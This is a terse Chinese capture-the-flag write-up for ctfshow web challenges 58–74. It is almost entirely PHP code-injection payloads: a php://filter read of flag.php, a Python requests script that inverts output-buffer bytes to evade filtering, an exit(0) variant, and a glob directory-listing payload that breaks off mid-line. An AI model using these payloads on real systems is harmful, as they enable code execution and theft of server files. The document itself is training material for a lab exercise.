ctfshow-Web入门-58~74wp

blog http://blog.yutian233.xyz/

Web58-65

POST
c=include($_GET['url']);

GET
/?url=php://filter/read=convert.base64-encode/resource=flag.php

Web66-70

flag 换位置了
/flag.txt

Payload还可以用

Web71

import requests

url = "http://c5e8824e-b5b4-4842-8d39-bbcb78eb7976.chall.ctf.show/"

d = {'c': 'include("/flag.txt");echo ~ob_get_contents();'}
s = requests.post(url, d).content



for i in s:
    print(chr(~i&0xff), end='')
# 脚本来自群大佬阿狸

或者 c=include"/flag.txt";exit(0);

Web72

解法来自 链接

c=?>
	$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{
   echo($f